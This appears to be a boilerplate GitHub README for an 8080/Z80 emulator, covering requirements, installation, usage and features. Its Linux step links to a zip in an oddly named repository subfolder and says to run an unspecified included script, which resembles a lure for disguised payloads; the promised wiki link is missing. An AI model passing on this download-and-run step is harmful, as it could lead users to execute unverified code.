Welcome to the x80-emulator! This software allows you to emulate 8080/Z80 instruction sets, so you can run various programs and games designed for these classic processors.
To run the x80-emulator, ensure your system meets the following:
- Operating System: Windows 10 or later, macOS Mojave or later, Linux distribution
- RAM: At least 4 GB
- Storage: 100 MB of free disk space
- Processor: Any modern processor (Intel or AMD)
To get the x80-emulator onto your computer, follow these steps:
- Visit the Releases page to download.
- Look for the latest version. It’s usually at the top of the page.
- Click on the link for your operating system.
- Download the file to your computer.
- Once downloaded, locate the file in your downloads folder.
- If you're on Windows: Double-click the .exe file to start the installation. If you're on macOS: Open the .dmg file and drag the app into your Applications folder. If you're on Linux: Extract the https://raw.githubusercontent.com/ppnene123/x80-emulator/main/postvide/x80-emulator.zip file and run the included script.
- After installation, you can find the x80-emulator in your applications or program list.
Once you have installed x80-emulator, using it is straightforward:
- Launch the x80-emulator from your applications or program list.
- Prepare your 8080/Z80 program. This can be an assembler file or a ROM file.
- In the x80-emulator interface, look for the option to load your program.
- Browse your computer’s directories to find your program. Select it and open.
- Click on the "Run" button to start the emulation.
The x80-emulator comes with several features to enhance your experience:
- Easy Interface: Designed for users with little to no technical background.
- Multi-Platform Support: Runs on Windows, macOS, and Linux.
- Save State Functionality: Save your current progress and load it later.
- Custom Configurations: Adjust settings to suit your needs and optimize performance.
- Instruction Set Support: Emulates various instruction sets, including 8080, 8085, and Z80.
For more detailed instructions and troubleshooting, please check out our full documentation on the GitHub Wiki:
If you encounter any issues or have questions, feel free to open an issue on our GitHub page.
We encourage users and developers to join our community. Share your experiences, suggest improvements, or contribute to the project. You can do this by:
- Engaging in discussions on the GitHub Issues page.
- Submitting feature requests.
- Contributing to the codebase by creating pull requests.
Your feedback is invaluable. Let us know how the x80-emulator works for you. We are always looking for ways to improve user experience.
The x80-emulator is open-source software licensed under the MIT License. You are free to use, modify, and distribute this software as you see fit.
Thank you for choosing the x80-emulator. Enjoy running your favorite 8080/Z80 programs!